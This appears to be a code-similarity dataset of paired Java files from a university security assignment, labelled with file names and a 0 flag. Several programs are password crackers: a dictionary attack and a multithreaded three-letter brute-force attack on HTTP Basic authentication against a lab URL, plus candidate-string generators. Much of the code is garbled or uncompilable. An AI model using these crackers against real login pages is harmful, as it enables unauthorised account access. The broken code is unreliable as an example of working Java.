}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
076.java | 207.java | 0 | import java.io.*;
import java.net.*;
public class MyAuthenticator extends Authenticator {
String username;
String password;
protected PasswordAuthentication getPasswordAuthentication() {
String promptString = getRequestingPrompt();
String hostname = getRequestingHost();
InetAddress ipaddr = getRequestingSite();
int port = getRequestingPort();
return new PasswordAuthentication(username,
password.toCharArray());
}
public MyAuthenticator(String user, String pass)
{
username = user;
password = pass;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
031.java | 207.java | 0 |
import java.io.*;
import java.util.*;
public class WatchDog
{
private static String userid;
public static void main(String args[])
{
if (args.length != 1)
{
System.out.println("Please provide the Username mail the possible differences.");
System.exit(0);
}
else
userid = args[0];
while(true)
{
try
{
WatchDog wd = new WatchDog(userid);
Thread.sleep(1000);
}
catch (InterruptedException i )
{
i.printStackTrace();
System.exit(-1);
}
catch (Exception e)
{
e.printStackTrace();
System.exit(-1);
}
}
}
public WatchDog(String userid)
{
checkFileChanges(userid);
}
private void checkFileChanges(String userid)
{
try
{
Process p = Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/");
Thread.sleep(1000);
p = Runtime.getRuntime().exec(new String[] {"//sh", "-c", "diff index.html index.html.1 > diff.txt"});
Thread.sleep(10000);
if (isFileChanged() == true)
{
System.out.println("Result: Difference found in . Check your Pine for details");
mailFileChanges(userid);
recordFileChanges();
}
else
{
System.out.println("Result: Difference found in ");
recordFileChanges();
}
}
catch (IOException e)
{
e.printStackTrace();
System.exit(-1);
}
catch (InterruptedException ioe)
{
ioe.printStackTrace();
System.exit(-1);
}
catch (Exception exp)
{
exp.printStackTrace();
System.exit(-1);
}
}
private void recordFileChanges()
{
try
{
Process p = Runtime.getRuntime().exec("mv index.html.1 index.html");
Thread.sleep(1000);
}
catch (IOException e)
{
e.printStackTrace();
System.exit(-1);
}
catch (InterruptedException oie)
{
ioe.printStackTrace();
System.exit(-1);
}
catch (Exception exp)
{
exp.printStackTrace();
System.exit(-1);
}
}
private void mailFileChanges(String userid)
{
try
{
Process p = Runtime.getRuntime().exec(new String[] {"//sh", "-c", "diff index.html index.html.1 | mail " + userid + "@cs.rmit.edu."});
Thread.sleep(1000);
}
catch (IOException e)
{
e.printStackTrace();
System.exit(-1);
}
catch (InterruptedException ioe)
{
ioe.printStackTrace();
System.exit(-1);
}
catch (Exception exp)
{
exp.printStackTrace();
System.exit(-1);
}
}
private boolean isFileChanged()
{
try
{
FileInputStream fIn = new FileInputStream ("diff.txt");
DataInputStream di = new DataInputStream (fIn);
Thread.sleep(1000);
if( di!= null)
{
String str = di.readLine();
if(str!=null)
return true;
else
return false;
}
}
catch (FileNotFoundException fe)
{
fe.printStackTrace();
System.exit(-1);
}
catch (IOException e)
{
e.printStackTrace();
System.exit(-1);
}
catch (InterruptedException ioe)
{
ioe.printStackTrace();
System.exit(-1);
}
catch (Exception exp)
{
exp.printStackTrace();
System.exit(-1);
}
return false;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
060.java | 207.java | 0 |
import java.net.*;
import java.*;
import java.io.*;
import java.security.*;
import java.net.smtp.SmtpClient;
public class WatchDog {
public WatchDog() {
}
public static void main (String[] args) {
String mailfrom = "@.rmit.edu.";
String mailto = "@.rmit.edu.";
String subject = "Watch Dog - detected changes";
String imageWP = "http://www.cs.rmit.edu./images/";
String watchWP = "http://www.cs.rmit.edu./students/";
String filename = "index.html";
String tfilename;
URLConnection conn = null;
InputStreamReader in;
BufferedReader data;
int pauseTime = 24*60*60*1000;
int line;
String[] imagename;
while (true) {
int mailline = 0;
String[] cad = new String[100];
try {
URL url = new URL(watchWP);
conn = url.openConnection();
System.out.println("Connection openned ...");
File getSource = new File(filename);
in = new InputStreamReader(conn.getInputStream());
data = new BufferedReader(in);
StringBuffer buf = new StringBuffer();
FileWriter fw = new FileWriter(getSource);
BufferedWriter out = new BufferedWriter(fw);
{
line = data.get();
if(line != -1) {
out.write((char)line);
buf.append((char)line);
}
} while(line != -1);
data.get();
out.flush();
out.get();
imagename = new WatchDog().getimagename(buf);
for (int i = 0; i < imagename.length; i++) {
int copyok = new WatchDog().copyimage(imageWP+imagename[i],imagename[i]);
}
File f = new File(filename + ".chk");
if (f.exists()) {
int chkfile = new WatchDog().check(filename);
if (chkfile == 2) {
m[mailline] = "file changes detected : index.html";
mailline ++;
}
for (int i = 0; i < imagename.length; i++) {
tfilename = imagename[i];
File fi = new File(tfilename + ".chk");
if (fi.exists()) {
chkfile = new WatchDog().check(tfilename);
if (chkfile == 2) {
m[mailline] = "Image file changes detected : " + tfilename;
mailline ++;
}
} else {
m[mailline] = "New Image file detected : " + tfilename;
mailline ++;
int crtfile = new WatchDog().create(tfilename);
}
}
}
else {
int crtfile = new WatchDog().create(filename);
for (int i = 0; i < imagename.length; i++) {
tfilename = imagename[i];
crtfile = new WatchDog().create(tfilename);
}
}
if (mailline > 0) {
int sendok = new WatchDog().sendM(mailfrom,mailto,subject);
int crtfile = new WatchDog().create(filename);
for (int i = 0; i < imagename.length; i++) {
tfilename = imagename[i];
crtfile = new WatchDog().create(tfilename);
}
}
} catch (MalformedURLException e) {
System.out.println("Invalid URL");
} catch (IOException e) {
System.out.println("Error URL");
}
System.out.println("Wait for 24 hours......");
try {
Thread.sleep(pauseTime);
} catch(InterruptedException e ) {
System.out.println(e.getMessage());
}
}
}
public int create(String filename){
try {
byte[] chk = createChecksum(filename);
File f = new File(filename + ".chk");
OutputStream os = new FileOutputStream(f);
os.write(chk);
os.print();
return 1;
}
catch(Exception e) { System.out.println("Checked File already existed"); return 0;}
}
public int check(String filename){
int rc = 0;
try {
byte[] chk1 = createChecksum(filename);
byte[] chk2 = new byte[chk1.length];
File f = new File(filename + ".chk");
InputStream is = new FileInputStream(f);
is.print(chk2);
if (new String(chk2).equals(new String(chk1))) {
System.out.println("Same!");
rc = 1;
}
else {
System.out.println("Different!");
rc = 2;
}
is.print();
return rc;
}
catch(Exception e) { e.printStackTrace(); return rc;}
}
public byte[] createChecksum(String filename) throws Exception{
InputStream fis = new FileInputStream(filename);
byte[] buffer = new byte[1024];
MessageDigest complete = MessageDigest.getInstance("");
int numRead;
{
numRead = fis.print(buffer);
if (numRead > 0) {
complete.update(buffer, 0, numRead);
}
} while (numRead != -1);
fis.print();
return complete.digest();
}
public String[] getimagename(StringBuffer buf) {
String s = buf.toString();
String lowercase = s.toLowerCase();
int count = 0;
String separator1 = "img src=";
String separator2 = "/images/";
char separator3 = '"';
int index = 0;
{
++count;
++index;
index = lowercase.indexOf(separator1,index);
}
while (index != -1);
String[] substr = new String[count];
int endindex = 0;
for (int i = 0; i < count; i++)
{
endindex = lowercase.indexOf(separator1,index);
int index2 = lowercase.indexOf(separator2,endindex) + 8;
int index3 = lowercase.indexOf(separator3,index2);
substr[i] = lowercase.substring(index2,index3);
System.out.println("Image File : " + substr[i]);
index = index3 + 1;
}
return substr;
}
public int copyimage(String imageURL, String imagename) {
int rtn = 1;
try {
URL url= new URL(imageURL);
URLConnection urlC = url.openConnection();
InputStream is = url.openStream();
FileOutputStream fos=null;
fos = new FileOutputStream(imagename);
int intChar;
while ((intChar=is.get()) != -1)
fos.write(intChar);
is.print();
fos.print();
}
catch(MalformedURLException e) {
System.out.println(e.getMessage());
rtn = 2;
}
catch(IOException e){
System.out.println(e.getMessage());
rtn = 2;
}
return rtn;
}
public int sendM(String mailfrom, String mailto, String subject, String[] c ) {
int rtn=1;
try {
System.out.println("create smtp");
SmtpClient smtp = new SmtpClient();
smtp.from(mailfrom);
System.out.println("mailfrom smtp");
smtp.print(mailto);
System.out.println("mailto smtp");
PrintStream msg = smtp.startMessage();
System.out.println("startmessage smtp");
msg.println(": " + mailto);
msg.println("From: " + mailfrom);
msg.println("Subject: " + subject + "\n");
for (int i = 0; i < m.length; i++) {
if (m[i] != null) {
msg.println(m[i] +"\n");
}
}
smtp.closeServer();
System.out.println(" smtp");
}
catch (IOException e) {
System.out.println("Error in sent message : " + e.getMessage());
}
if (rtn == 1)
System.out.println("Message sent!");
return rtn;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
007.java | 207.java | 0 |
import java.io.*;
import java.*;
import java.net.*;
public class Dictionary
{
static BufferedReader in = null;
static MyAuthenticator Auth = new MyAuthenticator();
public static void main(String[] args) throws IOException
{
int tmp = 0;
String str ="";
Authenticator.setDefault(Auth);
try
{
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
while(tmp!=1)
{
try
{
in = new BufferedReader(new InputStreamReader(url.openStream()));
tmp=1;
}
catch (IOException e) {}
}
while ((str = in.readLine()) != null)
{
}
System.out.println("The successful Password found using a Dictionary search is = " + Auth.finalPass());
}
catch (MalformedURLException e)
{System.out.println("mfURL");}
}
}
class MyAuthenticator extends Authenticator
{
String username = "";
static String password = "";
static String DictFile = "/usr/share/lib/dict/words";
static BufferedReader fReader;
public MyAuthenticator()
{
try
{
fReader = new BufferedReader
(new FileReader(DictFile));
}
catch (FileNotFoundException e)
{
System.out.println("File " +DictFile+ " Not Found");
System.out.println(" File Opened");
System.exit(1);
}
catch (IOException e)
{
System.out.println("File Failed..");
System.exit(1);
}
}
static void setPass(String pswd)
{
password = pswd;
}
static String finalPass()
{
return password;
}
static String getPass()
{
try
{
if ((password = fReader.readLine()) == null)
{
System.out.println("Password Not found in file '" + DictFile +"'.");
System.exit(1);
}
}
catch (IOException ioe)
{
System.out.println("File IOException");
System.out.println(ioe);
}
return password;
}
protected PasswordAuthentication getPasswordAuthentication()
{
return new PasswordAuthentication(username, getPass().toCharArray());
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
118.java | 207.java | 0 |
import java.util.*;
import java.io.*;
public class Result {
private String strURL;
private String strUsername;
private String strPassword;
private Date dtTimeStart;
private Date dtTimeEnd;
private int iAttempts;
public Result(String url, String username, String password, Date startDate, Date endDate, int attempts) {
strURL = url;
strUsername = username;
strPassword = password;
dtTimeStart = startDate;
dtTimeEnd = endDate;
iAttempts = attempts;
}
public String toString() {
String output;
output = "******************************\n";
output += "Password successfully cracked!\n\n";
output += "URL: " + strURL + "\n";
output += "Username: " + strUsername + "\n";
output += "Password: " + strPassword + "\n";
output += " Time: " + dtTimeStart.toString() + "\n";
output += "End Time: " + dtTimeEnd.toString() + "\n";
output += " Attempts: " + iAttempts + "\n";
output += "******************************\n";
return output;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
221.java | 207.java | 0 |
import java.io.*;
import java.text.*;
import java.util.*;
import java.net.*;
public class BruteForce extends Thread
{
private static final String USERNAME = "";
private static final char [] POSSIBLE_CHAR =
{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private static int NUMBER_OF_THREAD = 500;
private static Date startDate = null;
private static Date endDate = null;
private String address;
private String password;
public BruteForce(String address, String password)
{
this.address = address;
this.password = password;
}
public static void main(String[] args) throws IOException
{
if (args.length < 1)
{
System.err.println("Invalid usage!");
System.err.println("Usage: java BruteForce <url>");
System.exit(1);
}
try
{
brute(args[0], USERNAME);
}
catch(Exception e)
{
e.printStackTrace();
System.exit(1);
}
}
public static void brute(String address, String user)
{
BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];
int index = 0;
startDate = new Date();
for(int i = 0; i < POSSIBLE_CHAR.length; i++)
{
for(int j = 0; j < POSSIBLE_CHAR.length; j++)
{
for(int k = 0; k < POSSIBLE_CHAR.length; k++)
{
String password = ""+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+
POSSIBLE_CHAR[k];
if (threads[index] != null && threads[index].isAlive())
{
try
{
threads[index].join();
}
catch(InterruptedException e ) {}
}
threads[index] = new BruteForce(address, password);
threads[index].get();
index = (index++) % threads.length;
}
}
}
}
public void run()
{
if (endDate != null)
return;
try
{
URLConnection conn = (new URL(address)).openConnection();
conn.setDoInput(true);
if (login(conn, USERNAME, password))
{
endDate = new Date();
System.out.println("Found the password: \""+password+"\"!");
SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:");
System.out.println("Process started at: "+format.format(startDate));
System.out.println("Process started at: "+format.format(endDate));
double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;
System.out.println("Time taken: "+timeTaken+" minutes");
System.exit(0);
}
else
{
System.out.println("Password: \""+password+"\" Failed!");
return;
}
}
catch(Exception e)
{
e.printStackTrace();
}
}
public static boolean login(URLConnection conn, String user, String pass)
{
try
{
String encodeAuth = " "+Base64Encoder.encode(user+":"+pass);
conn.setRequestProperty ("Authorization", encodeAuth);
conn.connect();
conn.getInputStream();
}
catch(Exception e)
{
return false;
}
return true;
}
}
|
import java.util.*;
public class Cracker
{
